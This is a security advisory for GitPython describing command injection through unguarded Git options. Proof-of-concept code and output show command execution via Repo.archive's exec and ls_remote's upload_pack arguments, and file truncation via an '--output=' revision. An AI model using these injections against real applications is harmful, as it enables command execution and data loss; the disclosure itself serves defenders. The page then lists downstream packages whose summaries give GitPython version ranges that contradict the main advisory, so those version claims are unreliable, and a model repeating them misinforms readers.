tach

## Summary

GitPython already know that --upload-pack / --exec are command-exec vectors, they are denylist in
git/remote.py:535 and check by Git.check_unsafe_options() (git/cmd.py:963), the thing is this
check him he is only call from fetch, pull, push and clone_from, everything else who build a git
argv from caller values just go through, no check, three examples

## Code analysis

Repo.archive (git/repo/base.py:1623) do self.git.archive("--", treeish, *path, **kwargs), the
treeish is after the --, but the kwargs get dashify by transform_kwarg (git/cmd.py:1487) and
they land before it, so {"remote": ".", "exec": "<cmd>"} give
git archive --remote=. --exec=<cmd> -- <rev>, the --remote spawn the upload-archive helper and
--exec choose which binary that is, done, default git config, no protocol.ext.allow needed, and
archive already document caller kwargs (format, prefix, path) so pass a dict is normal usage

repo.git.ls_remote(url, upload_pack="<cmd>"), same builder, same result, it's exactly the kwarg
gap that CVE-2026-42215 close for fetch/pull/push/clone_from, except the dynamic
repo.git.<anything>(**user_dict) surface him he never got the fix

Repo.iter_commits / Repo.blame (git/objects/commit.py:348, git/repo/base.py:1199) put the rev
before the --, no leading-dash check, a "branch name" like --output=/etc/whatever become
git rev-list --output=... --, and git he open and truncate that file before he even validate the
revision, the file is gone even if the command error right after

## PoC

Released 3.1.50, git 2.51.0, stock config (`git config --get protocol.ext.allow` returns nothing here).

```
pip install GitPython   # 3.1.50
```

Common setup for the three:

```python
import io, os, tempfile, subprocess, git
d = tempfile.mkdtemp()
subprocess.run(['git','init','-q',d], check=True)
subprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a',
                'commit','-q','--allow-empty','-m','init'], check=True)
repo = git.Repo(d)
tmp = tempfile.gettempdir()
```

1. exec via archive (a service exports a repo and forwards the user's options dict):

```python
m = os.path.join(tmp, 'gp_archive_check')
try: repo.archive(io.BytesIO(), **{'remote': '.', 'exec': 'touch ' + m})
except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])
print('[+] marker present:', os.path.exists(m))
```
```
[*] Cmd('git') failed due to: exit code(128)
[+] marker present: True
```

2. exec via ls_remote:

```python
m = os.path.join(tmp, 'gp_lsremote_check')
try: repo.git.ls_remote('.', upload_pack='touch ' + m + ';')
except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])
print('[+] marker present:', os.path.exists(m))
```
```
[*] Cmd('git') failed due to: exit code(128)
[+] marker present: True
```

3. file clobber via a rev that looks like a ref:

```python
v = os.path.join(tmp, 'release_notes.txt')
open(v,'w').write('do not delete\n')
print('[*] before:', repr(open(v).read()))
try: list(repo.iter_commits('--output=' + v))
except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])
print('[+] after :', repr(open(v).read()), '<- truncated')
```
```
[*] before: 'do not delete\n'
[*] Cmd('git') failed due to: exit code(129)
[+] after : '' <- truncated
```

GitPython: command injection via unguarded Git options in `Repo.archive()`, `git.ls_remote()`, and arbitrary file…

snowflake-cli

snakemake

GitPython versions from 5.5.3 up to but not including 9.23.1_1 contain command injection vulnerabilities due to insufficient validation of user-supplied options in several GitPython methods such as Repo.archive(), git.ls_remote(), and Repo.iter_commits(). These flaws allow attackers to execute arbitrary commands or cause file truncation by injecting malicious options that are passed directly to underlying Git commands without proper sanitization.

shallow-backup

otterdog

opentimestamps-client

nbdime

GitPython versions from 1.1.0 up to but not including 4.0.4_4 contain command injection vulnerabilities due to insufficient validation of user-supplied options in several Git command wrappers, including Repo.archive(), git.ls_remote(), and others. This allows an attacker to execute arbitrary commands or cause file truncation by crafting malicious arguments. The issue arises because certain keyword arguments are transformed into Git command options without proper sanitization, enabling injection of commands via options like --exec or upload-pack. A fix is available in version 4.0.4_4.

mistral-vibe

GitPython versions from 2.1.0 up to but not including 2.21.0 contain command injection vulnerabilities via unguarded Git options in methods such as Repo.archive(), git.ls_remote(), and others. These flaws allow an attacker to execute arbitrary commands or cause file truncation by injecting malicious options or revision strings. The issue arises because certain GitPython methods do not properly validate or restrict user-supplied arguments that are passed directly to Git commands. A fix is available in version 2.21.0.

legit

GitPython versions prior to 1.2.0.post0_11 contain command injection vulnerabilities in the Repo.archive(), git.ls_remote(), and other arbitrary git command invocations. These flaws allow untrusted input to inject and execute arbitrary commands via unsafe handling of Git options such as --exec and upload-pack. Additionally, certain Git commands can truncate arbitrary files if malicious revision strings are passed. These issues were fixed in version 1.2.0.post0_11.

gitup

fdroidserver

cruft

GitPython versions from 2.9.0 up to but not including 2.16.0_11 contain command injection vulnerabilities via unguarded Git options in methods such as Repo.archive(), git.ls_remote(), and others. These flaws allow an attacker to execute arbitrary commands by passing crafted keyword arguments that are not properly checked before being passed to Git commands. Additionally, certain Git commands can truncate arbitrary files if malicious revision strings are used. The issue is addressed in version 2.16.0_11.

conda-lock

cf2tf

gitpython

GitPython before 3.1.51 fails to guard against dangerous Git options passed as keyword arguments in Repo.archive() and git.ls_remote(), allowing command injection via options such as --exec/--upload-pack (leading to arbitrary command execution). Additionally, Repo.iter_commits() and Repo.blame() do not check for leading-dash revision arguments, so a revision like --output=<path> can cause Git to open and truncate an arbitrary file. Exploitation requires an application that passes attacker-controlled arguments to these methods.

Search: CVE-2026-67323